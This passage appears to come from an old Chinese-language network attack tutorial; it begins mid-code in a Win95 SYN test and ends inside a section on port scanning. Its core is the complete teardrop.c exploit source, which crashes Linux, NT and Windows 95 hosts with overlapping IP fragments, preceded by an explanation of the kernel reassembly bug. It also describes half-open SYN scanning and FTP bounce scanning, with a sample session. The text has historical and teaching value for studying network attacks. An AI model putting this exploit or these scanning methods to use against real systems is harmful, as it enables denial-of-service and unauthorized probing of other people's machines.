22.txt

测试Win95的机器是否存在的一个SYN漏洞

}  

unsigned short in_chksum (u_short *addr, int len)  
{  
   register int nleft = len;  
   register int sum = 0;  
   u_short answer = 0;  

   while (nleft > 1) {  
      sum += *addr++;  
      nleft -= 2;  
   }  

   if (nleft == 1) {  
      *(u_char *)(&answer) = *(u_char *)addr;  
      sum += answer;  
   }  

   sum = (sum >> 16) + (sum + 0xffff);  
   sum += (sum >> 16);  
   answer = ~sum;  
   return(answer);  
}  



3 Teardrop  

    在Linux的ip包重组过程中有一个严重的漏洞。  
      
    在ip_glue()中：  

在循环中重组ip包：  
        fp = qp->fragments;  
        while(fp != NULL)  
        {  
                if(count+fp->len > skb->len)  
                {  
                    error_to_big;  
                }  
                memcpy((ptr + fp->offset), fp->ptr, fp->len);  
                count += fp->len;  
                fp = fp->next;  
        }  
这里只检查了长度过大的情况，而没有考虑长度过小的情况，  
如 fp->len<0 时，也会使内核拷贝过多的东西。  

计算分片的结束位置：  
        end = offset + ntohs(iph->tot_len) - ihl;  

当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）  
是这样处理的：  
        if (prev != NULL && offset < prev->end)  
        {  
                i = prev->end - offset;  
                offset += i;    /* ptr into datagram */  
                ptr += i;       /* ptr into fragment data */  
        }  

        /* Fill in the structure. */  
        fp->offset = offset;  
        fp->end = end;  
        fp->len = end - offset; //fp->len是一个有符号整数  

举个例子来说明这个漏洞：  
第一个碎片：mf=1 offset=0   payload=20  
敌二个碎片：mf=0 offset=10 payload=9  

这样第一个碎片的 end=0+20   
 offset=0  
这样第二个碎片的 end=9+10=19  
 offset=offset+（20-offset）=20  
     fp-〉len=19-20=-1；  

那么memcpy将拷贝过多的数据导致崩溃。  

      
/*  
 *  Copyright (c) 1997 route|daemon9  <[e-mail]> 11.3.97  
 *  
 *  Linux/NT/95 Overlap frag bug exploit  
 *  
 *  Exploits the overlapping IP fragment bug present in all Linux kernels and  
 *  NT 4.0 / Windows 95 (others?)  
 *  
 *  Based off of:   flip.c by klepto  
 *  Compiles on:    Linux, *BSD*  
 *  
 *  gcc -O2 teardrop.c -o teardrop  
 *      OR  
 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING  
 */  

#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <netdb.h>  
#include <netinet/in.h>  
#include <netinet/udp.h>  
#include <arpa/inet.h>  
#include <sys/types.h>  
#include <sys/time.h>  
#include <sys/socket.h>  

#ifdef STRANGE_BSD_BYTE_ORDERING_THING  
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */  
#define FIX(n)  (n)  
#else                   /* OpenBSD 2.1, all Linux */  
#define FIX(n)  htons(n)  
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */  

#define IP_MF   0x2000  /* More IP fragment en route */  
#define IPH     0x14    /* IP header size */  
#define UDPH    0x8     /* UDP header size */  
#define PADDING 0x1c    /* datagram frame padding for first packet */  
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */  
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can  
                         * withstand maybe 5 or 10 sometimes...  Experiment.  
                         */  

void usage(u_char *);  
u_long name_resolve(u_char *);  
u_short in_cksum(u_short *, int);  
void send_frags(int, u_long, u_long, u_short, u_short);  

int main(int argc, char **argv)  
{  
    int one = 1,   
count = 0,   
i,   
rip_sock;  
    u_long  src_ip = 0, dst_ip = 0;  
    u_short src_prt = 0, dst_prt = 0;  
    struct in_addr addr;  

    fprintf(stderr, "teardrop   route|daemon9\n\n");  

//建SOCK_RAW  
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)  
    {  
        perror("raw socket");  
        exit(1);  
    }  
//由系统处理IP校验和。  
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))  
        < 0)  
    {  
        perror("IP_HDRINCL");  
        exit(1);  
    }  

    if (argc < 3) usage(argv[0]);  
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))  
    {  
        fprintf(stderr, "What the hell kind of IP address is that?\n");  
        exit(1);  
    }  

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)  
    {  
        switch (i)  
        {  
            case 's':               /* source port (should be emphemeral) */  
                src_prt = (u_short)atoi(optarg);  
                break;  
            case 't':               /* dest port (DNS, anyone?) */  
                dst_prt = (u_short)atoi(optarg);  
                break;  
            case 'n':               /* number to send */  
                count   = atoi(optarg);  
                break;  
            default :  
                usage(argv[0]);  
                break;              /* NOTREACHED */  
        }  
    }  

    srandom((unsigned)(time((time_t)0)));  
    if (!src_prt) src_prt = (random() % 0xffff);  
    if (!dst_prt) dst_prt = (random() % 0xffff);  
    if (!count)   count   = COUNT;  

    fprintf(stderr, "Death on flaxen wings:\n");  
    addr.s_addr = src_ip;  
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);  
    addr.s_addr = dst_ip;  
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);  
    fprintf(stderr, " Amt: %5d\n", count);  
    fprintf(stderr, "[ ");  

    for (i = 0; i < count; i++)  
    {  
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);  
        fprintf(stderr, "b00m ");  
        usleep(500);  
    }  
    fprintf(stderr, "]\n");  
    return (0);  
}  

/*  
 *  Send two IP fragments with pathological offsets.  We use an implementation  
 *  independent way of assembling network packets that does not rely on any of  
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).  
 */  

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,  
                u_short dst_prt)  
{  
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */  
    u_char byte;                            /* a byte */  
    struct sockaddr_in sin;                 /* socket protocol structure */  

    sin.sin_family      = AF_INET;  
    sin.sin_port        = src_prt;  
    sin.sin_addr.s_addr = dst_ip;  

    /*  
     * Grab some memory for our packet, align p_ptr to point at the beginning  
     * of our packet, and then fill it with zeros.  
     */  
    packet = (u_char *)malloc(IPH + UDPH + PADDING);  
    p_ptr  = packet;  
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);  

    byte = 0x45;                        /* IP version and header length */  
    memcpy(p_ptr, &byte, sizeof(u_char));  
    p_ptr += 2;                         /* IP TOS (skipped) */  
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = htons(242);   /* IP id */  
    p_ptr += 2;  
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */  
    byte = IPPROTO_UDP;  
    memcpy(p_ptr + 1, &byte, sizeof(u_char));  
    p_ptr += 4;                         /* IP checksum filled in by kernel */  
    *((u_long *)p_ptr) = src_ip;        /* IP source address */  
    p_ptr += 4;  
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */  
    p_ptr += 4;  
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */  
    p_ptr += 2;  
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */  

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,  
                sizeof(struct sockaddr)) == -1)  
    {  
        perror("\nsendto");  
        free(packet);  
        exit(1);  
    }  

    /*  We set the fragment offset to be inside of the previous packet's  
     *  payload (it overlaps inside the previous packet) but do not include  
     *  enough payload to cover complete the datagram.  Just the header will  
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work  
     *  better.  
     */  
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */  
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);  
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */  
    *((u_short *)p_ptr) = FIX(MAGIC);  

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,  
                sizeof(struct sockaddr)) == -1)  
    {  
        perror("\nsendto");  
        free(packet);  
        exit(1);  
    }  
    free(packet);  
}  

u_long name_resolve(u_char *host_name)  
{  
    struct in_addr addr;  
    struct hostent *host_ent;  

    if ((addr.s_addr = inet_addr(host_name)) == -1)  
    {  
        if (!(host_ent = gethostbyname(host_name))) return (0);  
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);  
    }  
    return (addr.s_addr);  
}  

void usage(u_char *name)  
{  
    fprintf(stderr,  
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",  
            name);  
    exit(0);  
}  


4 Portscan 和  Antiportscan  

Portscan的两种主要方法：  
(1) Half-open（半打开）  
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，  
如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。  

(2) FTP scanner  
利用了FTP的port命令，例如可以这样作：  
选择一个FTP服务器，连上后令port命令指向目标机，如果返回  
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则  
该端口无服务。  
telnet 192.168.1.13  21  
Trying 192.168.1.13...  
Connected to pp.bricks.org.  
Escape character is '^]'.  
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)   
Thu May 7 23:18:05 EDT 1998) ready.  

user anonymous  
331 Guest login ok, send your complete e-mail address as password.  
pass [e-mail]  
230 Guest login ok, access restrictions apply.  
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口  

150 Opening ASCII mode data connection for file list.  
425 Can't build data connection: Connection refused.  
//该端口未活动  
150 Opening ASCII mode data connection for file list.  
226 Transfer complete.  
//该端口活动中  
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。  

上述两种方法是通用的，而针对个别系统有一些特殊方法。  

如一些系统受到包后会作如下处理：  

    标志        活动的端口的应答       不活动端口的应答                

    SYN         SYN|ACK                 RST 或 Nothing  
    SYN|FIN     ACK or SYN|ACK*         RST  
    ACK         Nothing                 RST  
    0 flag      Nothing                 RST